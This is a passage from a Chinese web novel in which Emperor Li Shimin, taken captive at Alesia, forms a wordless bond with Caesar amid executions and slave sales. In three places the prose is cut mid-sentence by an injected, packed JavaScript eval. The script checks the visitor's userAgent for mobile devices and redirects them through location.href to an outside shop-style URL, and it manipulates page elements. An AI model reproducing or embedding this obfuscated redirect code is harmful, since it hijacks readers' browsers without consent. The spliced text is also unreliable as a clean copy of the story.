“在此期间,”他停顿了一下,目光扫过案上的丝绸与宝剑,“以接待‘客人’而非囚徒的礼仪安置他。提供与他身份相称的饮食居所,保持严密但隐蔽的监视。不要试图审问,以免引发不必要的冲突或误解。” “是,统帅。” “等他能够沟通,”凯撒的声音低沉而充满力量,“我将亲自与他见面。如果他真是来自东方世界的使者,那么这场会面,或许将改变许多事情的轨迹。” ?他踱步到帐内的地图前,目光越过已知世界的边界,投向那片标注着猜想与传说的远东区域,“传说中塞里斯人温和经商,不善战。而这把剑,属于一个战士,一个领袖。要么传说有误,要么……他来自塞里斯更深处,一个我们连传说都未曾触及的、强大而尚武的帝国。” ?? ?? ?? 4. 第四章、战争的创伤 第四章、战争的创伤 来到这个陌生地方的第一天,李世民直到深夜也无法入眠,巨大的认知落差冲击着他的情绪,使他有些精神恍惚,宛如身在梦中。可是被当众侮辱的愤怒与痛苦,又在切身地提醒他这一切有多么真实。 ?他从来没有受过这样的侮辱,自从出生以来他几乎一帆风顺,尤其是从十年前开始,公爵、王爵、太子、直到升格为皇帝,没人能挡住他前进的步伐。 ?也从没有人敢随便碰他。在唐朝普通人触碰皇帝的身体,属于“十恶”大罪中的 “大不敬” ,是不可赦免的重罪,刑法极其严厉。除了长孙无忌,即使是他的亲戚、亲信,也不敢“无人臣之礼”。 ?可他至高的尊严,却在刚刚被一群“蛮族”士兵粗暴地剥去,以致于他任何时候想起来那副场景,都感到难堪和愤怒! 他还没有适应从帝国皇帝,刹那变成外族俘虏的巨大身份转变,从云端落入泥潭,从高高在上跌入万劫不复,一切都显得那么不可置信,像隔着一层虚幻的光影。? ?下午他被推进战俘营,和十几个蛮族酋长(都是高卢部落首领)共处一室,他们之间的画风是那样格格不入,以至于互相观察的目光像极了一幕滑稽剧。 ?那些部落首领大多身躯魁梧,须发虬结,即使沦为阶下囚,眼中仍燃烧着未熄的野火、不甘或直接外露的仇恨。他们身上带着游牧与山林的气息,皮革、金属、汗液与血混合成一种强烈的、富有生命攻击性的味道。 ?李世民厌恶这种味道,他独自坐在一边,像一块被误投进铁匠铺的玉石。 ?双方泾渭分明,加之语言不通,对话无果后,那种“非我族类”的意识隔阂,在空气中几乎凝成实体。 ?日光偏西的时候,铁皮营门忽然打开,是罗马士兵进来分发食物。按名单一人一碗大麦粥,但分舀的时候,却故意给有的人分了浓稠的一碗,而另一些人只分到清汤寡水。? 这一信号,在寂静的战俘营里,重如石坠。这并非士兵的随意,而是精准的政治试探,是给所有高卢首领看的诱饵,暗示那些分到清汤寡水的人,是罗马人觉得不值得浪费食物的人,他们可能很快迎来自己的终点。 ?分到李世民面前时,士兵给了一勺明显浓稠许多的大麦粥,甚至额外丢下一小块咸肉干。李世民看了一眼,丑如猪食,什么东西,刺激了他今天压抑已久的情绪。 ?这股绪情如果不发泄出来,困在他的身体里,会产生玉石俱焚、生死不论的冲动。以至于他盯住那个士兵时,对方出于本能地后退几步,放下木碗就逃也似的走开。? ?夜色来临,火把的光影在石墙上拉长、变形,宛如他此刻支离破碎的心神。他一整个白天没有进食,没有喝水,身体疲惫到了极点,意识却漂浮着,全无睡意。 ?他仿佛悬在梦与醒的边界,一边是长安清晰却遥不可及的幻影,一边是眼前坚硬而冰冷的现实。 时间就这样悄然流逝到深夜,水钟的滴答声外,忽然传来了规律的铁钉靴音。 铁门被打开,一位披着暗红斗篷的百夫长走进来,两侧随行的卫兵举着火把。火焰在金属胸甲上流淌,映出比普通士兵更精良的短剑与更肃穆的神情。 ?百夫长用拉丁语说了一句话,随即侧身,做了一个明确的的手势,手掌向上,指向门外被火炬照亮的甬道。没有触碰,但士兵列队形成的通道,本身已是无声的强制。 他被“请”出牢笼,途经之处,哨兵立正、目光平视,仿佛他是一样需要严密押送却不得损伤的特殊装备。 ?他们最终停在一座独立的中型帐篷前。帐内透出稳定的灯光,门口甚至铺着一块粗糙但干净的羊毛垫。 百夫长掀开帐帘,请他入内。帐内陈设简单,但有一张行军床、一张固定桌案,案上放着毛毯,甚至角落有一只盛满清水的铜盆。这与之前的污秽囚牢判若云泥。 这不是释放,而是标记的升级。凯撒的机器,正以罗马人特有的、兼具效率与象征意味的方式,开始正式运转他的“价值”。 ?夜更深,不知道是什么时辰,烛光像沉入胃里的铅,把每一寸清醒都坠成无边的钝痛。 ?他听到帐外传来巡逻队交换口令时短促铿锵的音节,听到士兵金属甲片的轻响和柴火的噼啪声,也听到秋风穿过密林和旷野时沙哑的呼啸。 ?阿莱西亚的秋夜,将寒雾泼洒进山谷,整个世界正在逐渐沉入更寂静,更深沉的黑夜。黑暗与寂静层层堆叠,像淤泥掩埋所有空隙。 然而,在黑暗与寂静抵达最深处时——当最后一粒希望在余烬中湮灭,当最坚韧的哨兵也放缓了呼吸——某种更古老、更顽固的东西,从这片被鲜血浸透的土地深处,挣脱出来。 ?起初只是呜咽,从被洗劫一天一夜的阿莱西亚高地幽幽飘来,渗入围着篝火取暖的罗马士兵的铁衣。 ?有人侧耳,以为是奥泽兰河流淌的水声,或是深秋芦苇的哀鸣。但渐渐地,那呜咽织成了调子,调子连成了句子——句句是高卢的方言,声声是高卢的血泪。 凯撒手中的羽毛笔停了下来。他站起身,《高卢战记》的草稿文字在蜡烛照耀下像一片厮杀的蚁群。 ?营地寂静得可怕,连战马都停止了嘶鸣。维钦托利从监狱的枷锁中抬起头,李世民从营帐中坐起身,哨兵、巡逻队、夜班部队几千人提高警惕,追索着那歌声的来处。 ?很快,像野火舔过枯草,从埃杜维人的阵地到阿维尔尼人的残旗,从纳尔维人最后的弓箭手到那些连部落图腾都已模糊的散兵,声音连成了片。没有歌词,只有元音在黑暗里浮沉:“Auuuuuu…… Ooooooh……” 像是呼唤,又像是应答。 ?被绑住手脚,集体束缚在军营外的空地上,严密看管的几万高卢俘虏,开始加入这场合唱。 ?一个年轻的埃杜维战士加入了具体的词句,他用的是已经失传的北方方言,讲述着:“我的父亲,埋在三月播种的第一垄土下;我的兄弟,留在阿瓦利肯的城墙缝里;而我,将变成阿尔比 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224089|197539||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 昂海雾的一部分,再也找不到回家的路……” 接着是更多的人声,更多的故事。他们用各自部落的语调,用各自山谷的腔调,讲述着相似的失去:被焚毁的粮仓、被掳走的女儿、再也不会举行婚礼的春天…… ?这些碎片在夜空里碰撞、交叠,竟渐渐织成了奇异的和谐——仿佛高卢这片土地本身在开口说话,通过八十个部落最后的喉咙。 罗马哨塔上,百夫长举起了手,他们听不懂词义,但听懂了那声音里某种庞大而不祥的东西。看守俘虏的士兵迅速带人冲进俘虏群中,找出几个看似领头或唱得最大声的人,当场处决,杀鸡儆猴。 ?俘虏们的歌声很快被镇压,但那来自黑夜中的歌声还在,藏在密林中,藏在废墟下,藏在被征服民族不甘心的灵魂里。 ?李世民不知道自己是何时湿了眼眶。 ?或许是那高卢人的悲歌,像一把钝刀,撬开了他严防死守的心防。歌声里的失去、家园的沦丧、战士的末路,与他此刻从天坠地的茫然、帝位崩塌的痛楚、尊严受辱的愤懑,产生了深切的共鸣。 ?又或许,仅仅是因为他撑到了极限。在这个举目皆敌、文明隔绝的异域,在这个身不由己、前途未卜的夜晚,高卢人的歌声,是最后一片雪花。 ?他掀开帐篷走出来,秋夜的寒气立刻包裹了他单薄的衣衫,但他毫不在意。 ?军营的骚动还没有结束,成百上千的火把在雾气中晕染出一片昏黄的帷幕。歌声、和巡逻队的身影被这光与雾涂抹得只剩轮廓。 ?门口两个罗马士兵原本在篝火边低声交谈,见他出来,只是假意咳嗽了两声,并未上前阻拦。他们得到的命令是“严密但隐蔽的监视”,只要他不试图逃跑或做出攻击性举动,些许自由是可以允许的——尤其是在这军营深处。 ?李世民旁若无人地走到那堆篝火旁,火焰跳跃着,温暖而虚幻,映出他令人心碎的神情。他在干草上坐下,双手环住膝盖,将脸埋了进去,漆黑的长发像流淌的悲伤倾泻而下。 ?起初只是无声的颤抖,肩膀微微耸动。然后,温热的液体突破了眼眶的堤坝,一颗,两颗,顺着面颊滑落,沾湿了衣袖。 这时,高卢的歌声达到了某个顶点。所有声音汇成一个持续的低音,像大地开裂前的呻吟。 ??然后,毫无预兆地,开始碎裂、溶解、崩塌,就像高卢的联盟在凯撒的权谋前分崩离析。最后剩下的,只有最初的那个元音,那个“Auuuuu……” ,越来越微弱,越来越稀疏。 ?就像是要回应这哀歌,那些积压了整整一天一夜的情绪——愤怒、屈辱、忧虑、不甘、还有对长安、对亲人、对未竟事业的深切思念——如同决堤的洪水,汹涌而出。 ?李世民伏在膝头,发出了呜咽的哭声。那哭声不大,却仿佛用尽了全身力气,肩膀剧烈地起伏着。 ?整个军营都笼罩在一种沉重的、近乎超自然的哀伤中。他的眼泪,和高卢人的歌声一样,成了这场战争创伤的一部分。 5. 第五章、对面不相识 第五章、对面不相识 在极度崇尚男子气概的罗马军队中,李世民率性任情公然展示脆弱的行为,符合他们对“软弱蛮族”的刻板印象。 ?但因为他身份特殊,已被标记为 “献给凯撒的特殊战利品”,两名罗马哨兵只是眼神复杂地观察他,夹杂着固有偏见和一丝被环境感染的不安,而非上前羞辱或制止。 年轻的那个用极低的声音说:“看见了吗?像只淋雨的猫……” 年长的哨兵皱眉,正要提醒他噤声,却突然僵住了身体。 一道披着深色旅行斗篷的身影不知何时站在了篝火的另一侧。 ?两人正要行礼,来人抬手做了个极其轻微的手势——不必行礼,不必声张。 是凯撒。 他没穿统帅的镶边托加,也没戴任何彰显身份的饰物。一件半旧的灰色丘尼卡,露出精瘦的小臂和小腿;右肩斜扣一件中长的暗红色斗篷,脚下是有明显磨损的露趾铁钉凉鞋,看起来就像个刚刚结束巡逻归来的军头。只有那双在火光中沉静如水的灰蓝色眼睛,透露出某种超越外表的气质。 他没有立刻上前,而是站在那里静静观察了片刻。李世民完全沉浸在自己的情绪里,对周遭无动于衷。 凯撒单手解开肩上的扣子,动作自然而随意,仿佛只是举手之劳,他走到李世民身旁,将尚带体温的厚重羊毛披风轻轻覆在他肩上。 ?李世民被惊动抬头,眼眶通红,泪痕未干,但目光高冷,似悲似怒,就像个被打扰了灵感的诗人。这倒出乎凯撒意料之外。 ?“你……”凯撒只发出一个音节,想到对方完全听不懂他的语言,又无奈放弃了。 ?李世民看到一个陌生的“蛮族老兵”——穿着朴素,“衣不蔽体”,面容被岁月刻下深刻痕迹,但那双眼睛平静而深邃,没有怜悯,没有审视,只有一种近乎温和的专注。 ?对方放弃说话,只是就着李世民抬起头的姿势,对他微微点了点头,然后很自然地在他旁边的干草上坐了下来,距离不远不近,既非冒犯的贴近,也非冷漠的疏远。 ?他伸出手,随意地拨弄了一下篝火堆,让几根新添的柴薪燃得更旺些,跳跃的火光顿时驱散了更深一层的寒意。 ?李世民下意识地看了眼身上的斗篷,羊毛粗糙的质感摩擦着皮肤,带来切实的暖意。他不知道对方是什么人,但这份善意倒不好直接推辞。 见李世民对自己有戒备,凯撒想了想,从腰间一个不起眼的小皮囊里摸索出一样东西,摊在掌心,递到李世民面前。 那是一小块压制成方片的干无花果,颜色深褐,表面覆着糖霜般的天然白粉,在罗马行军口粮中算是难得的甜食和能量补充。 ?李世民迟疑地看着,没有接。 凯撒也不催促,自己咬了一口手中的那半,慢慢咀嚼,然后指了指李世民,又指了指食物,做了个点头称赞的动作。 ?这些动作都是他临时想的表达方式,实在称不上专业,但在埃及翻译到来之前也没有别的办法。这些刻意的,生硬的动作,反而更能表现出他尝试沟通的诚意。 也许是他眼中那份纯粹的平静感染了他,也许是连日紧绷后突然的松懈,李世民终于伸手接过了那半块无花果。他小心地咬了一小口——甜腻的蜜香在口中化开,混合着果实的独特风味。味道很奇怪,但并不难吃。 看到他尝试,凯撒眼中掠过一丝极淡的笑意。他指了指李世民身上的斗篷,又指了指自己单薄的衣衫,摇了摇头,示意自己不冷。 ?然后他抬起手,在空中虚虚画了个圈,将篝火、军营、远山都囊括在内,双手在胸前轻轻交握,做了个“困住”的手势,然后看向李世民,眉头微挑。 ——你被困在这里了。 李世民震惊于自己居然看懂了这个意思。 ?他沉默片刻,点了点头,随即抬手,指了指东方地平线,又指了指自己的心口,眼神重新凝聚起某种不可动摇的光。 ——我的家在那边。 这个手势很简单,比凯撒的手势表达还不如。但奇妙的是,凯撒居然也理解了! ?他顺着李世民的手指望向漆黑东方,若有所思。然后他捡起一根树枝,在篝火旁的泥地上划动。 先是一个长方形,中间偏下点了个点——意大利,罗马。然后线条向北延伸,画出不规则的区域,点了几个战斗标记——高卢,战场。最后,树枝继续向东,越过表示山脉的波浪线,在一片空白处停下。 他看向李世民,树枝在空白处轻轻点了点。 ——你的家乡,在这片更远的东方吗? 李世民没可能看懂他前面画的什么,只猜测是这个国家的地图,但最后向东一直伸出的线条和点问,他几乎立刻就明白了。 李世民凝视着那片空白,他接过树枝,手指因用力而微微发白。 ?他没有试图描绘大唐的千里疆域——那太复杂。他只是在那片空白的边缘,非常认真、非常缓慢地,画下了一个小小的方正图案。 有城墙,有城门,简单勾勒出城楼的模样。 画完后,他用树枝在那个小方城旁,用力地、深深地戳了一个点。 ——这是我的城。 凯撒注视着那个图案,又看向李世民眼中燃起又克制的火焰。他缓缓点头,拿回树枝,在那个小方城旁边,也画了一个类似的、更简略的方块,同样在旁边用力点了一下 ?——我也有我的城。 李世民理解成他的家住在这个城里。 看着那两个并排的“城” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224090|197539||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,李世民愣了愣,嘴角轻微地向上弯了一下。 凯撒注意到这个变化。他用树枝在两座“城”之间画了条蜿蜒的线,在线中途画了个叉,做了个无奈耸肩的动作。 ——太远了,路不好走。 这次,李世民真的轻轻笑了一声。那笑声很短暂,几乎被篝火噼啪声淹没,但确实存在过。他也拿起树枝,在那条“路”旁画了一朵歪扭的云,举一只手做了个从上落下的手势。 ?他的手指很长,动作干脆又优雅,实在令人赏心悦目。 ——我是从云上掉下来的。 凯撒先是惊讶挑眉,随即眼中闪过恍然大悟——这解释了为何没人见过他进入阿莱西亚。他看着那朵粗简的云,又看看李世民故作困惑的脸,终于也低低笑出声。笑声低沉温和,带着久经风霜者特有的豁达。 ?年轻哨兵马尔库斯几乎不敢相信自己的眼睛。统帅……在笑?和那个俘虏? ?接下来的时间里,篝火成了他们无声的翻译官。凯撒用树枝画各种简单图案:船(代表旅行)、剑与盾(代表战争)、麦穗(代表丰收)、太阳和月亮(代表时间)…… ?李世民学得很快,不时点头,偶尔摇头,有时会拿过树枝画出自己的理解。 他们聊“战争”——李世民用树枝画出骑兵冲锋阵列,凯撒展示罗马军团龟甲阵; ?他们聊“治理”——李世民画田地和水渠,对方画道路和桥梁; ?他们甚至笨拙地聊到“家人”——李世民画两个并肩的小人和三个更小的人(想到妻子长孙氏和李承乾、李泰、李丽质);凯撒沉默片刻,画了一个孤零零站在柱子旁的人影,只有他一个人,因为他唯一的女儿茱莉亚已经在两年前因难产去世了。 ?——茱莉亚的死不仅带给他巨大的伤痛,也意味着他失去了唯一的合法直系后代,迫使他更早、更迫切地考虑继承人选和政治遗产的延续问题。 ?但过了一会,凯撒又在人影旁边加上了一个小人,代表他政治联姻的妻子卡尔普尼亚。 没有语言,但理解在无声中流淌。手势、图画、表情,偶尔同步的笑声或叹息。时间在篝火明灭中悄然流逝,头顶星辰缓慢旋转。 李世民发现,这个“蛮族老兵”有着远超普通士兵的见识。他沉稳、敏锐,思维清晰,气度从容,善于表达不会冷场,且有很强的引导控场能力,这样的人怎么会只是个普通老兵? ?但他们都没有问对方的姓名、身份,仿佛达成了某种无言的默契——抛开姓名、身份、征服者、被征服者等一切功利性因素,完全作为个人的本真一见如故,彼此吸引,相谈甚欢。 不是单纯的友谊——那太轻率,而是两个同样强大的灵魂在隔绝状态下,本能地识别出彼此相似的频率。 6. 第六章、异邦的法则 第六章、异邦的法则 晨雾未散时,凯撒已经站在了主营帐前。 昨夜高卢人的哀歌早已沉寂,但他清楚——那不是终结,而是某种更顽固东西的回响。 哀歌恰恰证明高卢身份认同未完全瓦解,残存的抵抗意识不可小觑。凯撒决定更系统地推行罗马化:强行解散部落纽带、扶持亲罗马贵族、用拉丁仪式替代本土祭祀,使高卢之歌成为无法传承的绝响。 ?他召来安东尼,指令简短:“除了我赦免的名单,其他所有俘虏,几天内完成处置。优先处理各部落的青壮战士和曾参与指挥的贵族。” “这么快?会引起反抗——” “那就镇压。”凯撒的语气没有波澜,“歌声能传遍军营,说明抵抗的意识还在暗处流动。必须在他们重新凝聚前,把燃料撤走。” 安东尼领命离去后,凯撒才转身回到帐内。他走到水盆前,将整张脸浸入冷水,停留了比平时更长的时间。 --- 上午的军事会议,将领们察觉到了异样。 凯撒依然坐在主位,但当辎重官开始汇报冬储粮草数量时,他搭在扶手上的右手无意识地松开了,又迅速握紧。 ?在骑兵队长冗长地汇报马匹蹄铁损耗时,凯撒的眼睑微微垂下了一瞬,随即迅速抬起,灰蓝色瞳孔里锐光不减,但眼角细微的纹路里嵌着血丝。 帐内静了一瞬。 安东尼与卡勒努斯交换眼神。他们跟随凯撒多年,凯撒以强大的意志力和精神力量著称,从未见过他在正式会议上流露疲惫。 会议结束,安东尼低声问:“你昨夜没睡?” “处理些事。”凯撒回答模糊,手指按压着太阳穴内侧。 真实情况是,他一夜未眠。 ?昨夜他被军营的哀歌惊动,走出帐外查看,遇到了一个意外的插曲。 那个年轻人给他留下了深刻的印象,从仪表的不凡,到性格的直率,从气魄的宏大,到思想的深度,都高度共振于自己的思想追求和审美偏好,犹如遇到“知音”。 ?事实上他们的差异远大于相似,从年龄的差距,到性格的迥异,再到东方和西方遥远的距离,完全不同的文化,甚至连沟通渠道也还未建立。 ?但当他们在一起拼尽全力交流时,就好像两个半圆在努力合成一个完整的结构。就像一场艰难的征途、又像崇高的质变,由此带来的精神上的愉悦、灵魂上的共鸣,完全压制了身体的疲惫、理智的管控。 ?以至于他迟迟没有离开,反而怪罪时间流走太快。 ?直到东方天空泛起第一抹鱼肚白,他用树枝指了指熄灭的篝火,又指了指李世民脸上的倦容,做了个“睡觉”的手势。然后他站起身,示意自己要走了。 ?那个时刻对方脸上出现的失落与不舍,像一副凝固的壁画刻进了他的心里。以至于他每一忙碌间的空隙,总在脑海中浮现出他当时的神情。? ?? ?与此同时,军营的角落里飘着细碎的议论。 “统帅今早问我知不知道东方人吃什么。”厨师长对副手嘀咕,“我说高卢以东?他说更东边。” “你怎么回答?” “我哪知道!最后他只要我准备些清淡的烤禽肉,不要放酱料,真奇怪……” ?卫兵马尔库斯正拿着一根青色发绳发呆。这是凯撒吩咐他去买的,要求“质地好,深色,不起眼但精致”。他跑了三个随军商贩的摊位才找到,尾端缀着磨光的黑曜石。 更奇怪的是,当他交差时,凯撒只看了一眼就说:“交给卡勒努斯,就说是营区福利。” ?卡勒努斯收到东西的时候满头问号。因为罗马军营中短发、剃须是普遍且被提倡的主流军容。留长发和胡须则常与希腊人、高卢人等“外族”联系在一起。“这福利总不能是给我的吧?”? ?午前,卡勒努斯又收到隐晦口信:检查“特殊对象”的生活供应是否齐全,比如“梳头的器具、修剪须发的刀、清洁牙齿的苏打粉”,深入到细节……凯撒是担心军队的男子汉们对待某个人不够细心? 卡勒努斯愣住。罗马军营里,哪个战俘需要这些? 但他照办了。当发绳和一套相对精致的洗漱用具被送入李世民帐中时,连监视的卫兵都挑眉——这待遇,不像俘虏,倒像需要小心伺候的外交使节。 --- 这一天午后,平原变成了市场。如火如荼的奴隶贩卖开始了! 高卢男人们被扒开嘴检查牙齿,像马匹一样被估价;女人们被撕开衣襟展示皮肤,周围的哄笑声尖锐刺耳;孩童按身高分等,最小的被像货物一样塞进牛车,哭声被鞭响和商人的吆喝淹没。 一个少年挣扎时踢中了罗马士兵的小腿,下一秒就被剑鞘砸中额角,鲜血顺着脸颊淌进脖领。商人皱眉:“有反抗倾向,减五第纳尔。” 秋风卷来尘土、汗臭、血 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224091|197539||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 腥,还有某种更冰冷的味道——系统化的人性剥夺。 到日落时,第一批八千名俘虏已被押送离场。平原上只剩丢弃的绳索、熄灭的火堆,和几滩暗红污渍。 李世民目睹了全部过程,那野蛮残酷的场景数次令他胃部抽搐,移开了视线。 李元吉恶毒的诅咒在耳边炸响:“最野蛮的地方……野人的阶下囚……” ?眼前这幕,比任何战场厮杀更让他心寒。这不是战斗,这是把人彻底变成物的过程。 ?他想到自己原本也在这些俘虏中,如果不是昨天晚上他突然被提出转移到别的场所,现在他可能已经遭遇同样的悲惨命运。 ?兔死狐悲,物伤其类。 ?如果连这些本土民族都只是明码标价的商品,对方又会怎样对他?目前看来,对方没有像对待普通奴隶那样对待他,可能是判断他有更高的价值可以利用。他仍然是这支军队随时可以处置的“物品”,这迫使他更急于考虑个人生存问题。 ?更深的寒意渗透骨髓:如果这些人知道他是大唐皇帝,会如何? ?曾经他想要和这只军队的最高统帅接触,进行谈判或争取协助。但现在他庆幸语言不通,对方知道他来自东方,身份不凡,却不知道他到底是谁。 ?这是一个野蛮残暴、令他非常失望的“蛮夷国度”,对它怀有政治上的期望是不切实际的。如果知道他是天朝上国的皇帝,对方未必会提供帮助,反而可能以他为人质,向唐朝提出利益要求。 ?他必须谨慎考虑这种情况。 两个卫兵不远不近地跟在他身后,他的一切举动都处于军方的监视之下。他心情沉重地走回自己的“牢笼”,途中意外看到了一个熟悉的身影。 ?是昨夜篝火旁的老兵。 ?他依旧穿着那件半旧的灰色短袖,脚下是半旧的露趾绑带凉鞋,手持工兵铲,正与士兵们一同挖掘壕沟。 泥土沾满他精悍的小臂,汗珠顺着脖颈滑入衣料边缘。他一边劳作,一边抬手拍打身旁年轻士兵的肩膀,指着某处土坡说着什么,引发一阵哄笑。 ?李世民脚步微滞,目光停在他身上。就仿佛有无声的感应,那双灰蓝色的眼睛忽然转了过来,与他的视线在空中短暂交会。 一切尽在不言中。 ?凯撒的动作几乎未有停顿,只极轻微地颔首,便又俯身掘土。李世民则惋惜“蛮族”对人才的浪费,这样的人居然用来做杂役? 7. 第七章、第二夜情感升温 第七章、第二夜情感升温 第一夜哀歌的三天后,一个秋雨将至的闷热夜晚。 阿莱西亚的空气仿佛凝固,一丝风都没有。帐外远处隐约传来奴隶市场的喧嚣与罗马士兵的嬉笑,帐内烛火因湿闷的空气而摇曳不定,一种山雨欲来的压抑感笼罩四野。 ?李世民躺在独立营帐的行军床上,睁着眼,无法入睡。 奴隶贩卖整整三天了,每一天耳畔都回荡着地狱的声音——铜币叮当,皮鞭破空,男人女人孩子压抑的呜咽。那些声音像蛆虫,钻进他的情感里啃噬。 ?他侧身,看见桌上有敌人提供的羽毛笔和莎草纸,一盏半旧的青铜油灯光线昏黄、跳跃,好像随时都要熄灭。看了一会,他起身来到桌前,写下这样一段话: ??豕畜列市,羔羊待割。 ??稚子衔索,妇孺褫裳。 ??俎上鱼肉,笼中雀鸟。 ??非我族类,其哀也同。 ??人非草木,孰能无情? ? 彼今罹患,朕躬后继。 不习惯的笔,不习惯的纸,写出来也不像自己的字迹。 这三天的亲眼所见,亲身经历,令李世民对这只“蛮族”军队怀有强烈的反感。此时,他脑海中又浮现出那双灰蓝色的眼睛,他知道他也是这支猛兽军团中的一员…… ?这三天李世民也没有闲着,在有限的自由内,他观察了军营所有能公开的部分。 ?这支军队的组织度、纪律性、工程能力,远超他的预想。虽然武器落后、衣食穷苦、作风暴虐,但也确实有暴虐的资本,不是一句简单的“蛮夷”可以轻率概括。 ?这是一个高度成熟、高效且冷酷的战争机器。 ?帐帘就在这时被掀开。 没有脚步声,只有一道影子飘进来。 ?李世民瞬间站起,手指下意识地收紧——直到看清那张被斗篷阴影半掩的脸。 是他! 凯撒斜披着一件黑色的斗篷,帽檐压得很低。他进入帐内后,将帘子仔细掩好,这才掀开兜帽。 ?烛光映亮他刻着岁月痕迹但依然魅力十足的脸,那双灰蓝色的眼睛里带着一丝罕见的、近乎温柔的歉意。 ?他用手指了指外面,又做了个“小声”的手势,然后用掌心向下压了压——意思是“别紧张,我只是来看看”。 李世民紧绷的肩膀放松下来。不知为何,看到这个人,他心中那团因白日所见而郁结的怒火,竟奇异地平息了些。 ?凯撒留意到他的身体有明显的消瘦,才三天而已,真令人担忧。 ?他的胡子也没有剃,虽然凯撒有暗示手下提供剃刀,但李世民并没有使用。胡子是需要每天精心打理才能保持造型与美观的,显然罗马军队里并没有这个条件。 ?凯撒走过来,很自然地在李世民身侧站定,看他写在纸上的内容——距离比上一次篝火旁更近了些。 ?他也注意到今晚李世民的头发绑了起来,用一根带装饰的发绳系在背后,打了一个军用的结,这不禁令他会心一笑。 ?然后注意力才转到象形文字上。凯撒看不懂含义,但从字形上看出了不祥之兆。 ?“这几天军中发生了一些事……”凯撒讲到,不知道用什么手势来表达这个复杂的意思。 ?他从斗篷下拿出一块巴掌大小的木质蜡板,表面覆盖着平滑的深色蜂蜡。附带一支细长的铁笔,笔尖闪着冷光。这是罗马人常用的书写工具。 ?他没有立刻开始书写,而是将蜡板推向李世民,做了个“请”的手势。 ?李世民接了过来,只觉入手微沉,他试着用指甲在上面划了一下,一道清晰的痕迹留了下来。 一种……可以固定下来的书写方式。 今晚他带了工具,说明不再是偶然的相遇,而是专程来赴一场重要的会面。这让李世民十分感动,在现在这种处境之下,也只有这一个人会来探望自己。 ?李世民没有立刻动笔,只是看着空白的板面陷入沉思。 凯撒察觉到他情绪低落。他没有催促,只是静静坐在他身边,等待。 许久,李世民动笔画了起来。他先画了一个小人(代表自己),然后画了一个圈(圈住自己),又画了一个太阳和一个月亮(代表时间流逝)。最后,他在小人旁画了一个问号,抬眼看向凯撒。 ——我要被囚禁多久? 凯撒看懂了。他沉默了片刻,眼神变得复杂。他没有直接回答这个问题——因为答案太残酷。 ?这个东方年轻人的命运取决于他的价值,如果价值足够大,将视罗马的国家利益需要而定。如果价值次一些,则取决于自己的一念之间:可能被带回罗马作为奇观展示,可能被赠予某位权贵,也可能……在某个政治交易中被牺牲。 但这些,他无法用图画表达,也不愿表达。 凯撒拿过笔,用笔尾轻轻抹去了图中的圆圈。然后,他在小人旁边画了另一个稍大的人影——代表他自己。他在两个人影之间画了一条连接的线,然后指向李世民,又指向自己的心口,郑重地点了点头。 ——我会帮你。相信我。 这个承诺很模糊,但足够真诚。凯撒自己也不知道为何要这样做,这不符合他一贯冷静算计的行事准则。但在这个年轻人面前,那些准则似乎都失效了。 他作画时,烛光照亮他小臂上一道新鲜的、还渗着血丝的划痕。李世民看见了,本能地皱眉,投去询问的眼神。 ?凯撒摇头,示意无碍,一点剐蹭而已。他拿起蜡板,在上面画了几个扭打的小人,又画了一个站在中间试图分开他们的人影。他耸耸肩,做了个“无可奈何”的手势。 ?——调解冲突。 李世民看懂了,服从命令是士兵的本职,这也是个身不由己的人。这个认知让李世民心中某个坚硬的地方,微微松动。 ?他们陆续又谈了一些内容,但都没有再像上次那样充满理想的豪情和英雄主义的浪漫,今晚他们更多在谈眼前的现实,各自的困境和无奈。 ?凯撒发现即使在谈论这些压抑、黑暗的论题时,他们仍然能保持精神上高度的理解与共通。李世民没有简单把他当成敌对阵营的一员,而是对他的立场表达了充分的体谅。 ?这是今晚他们之间一切交流的基础。在这基础之上,他们才能对涉及彼此切身利益的事情真诚地交换意见。 ?当李世民描摹战俘营的见闻时,凯撒从他笔尖的顿挫里,读到的不是软弱的多愁善感,而是一种深沉的责任伦理——一个高位者对“人”作为目的而非手段的直觉性捍卫。 ?这种对苦难的敏感与愤怒,凯撒并不陌生,他曾在元老院的辩论中为平民的权利发言,也曾在征服后推行相对宽容的政策,以换取长久稳定。但暴力,仍然是不可避免的硬币背面,无论他本人作何感想。 ?他们一个是因仁心而不忍,一个是因远略而节制,路径迥异,却在“不可肆意践踏”的底线上悄然重合。 他们谈论着眼前的黑暗,却在彼此眼中看到了相似的、未曾熄灭的星火——那是对秩序、荣誉与人性底线共同的、近乎固执的持守。?? 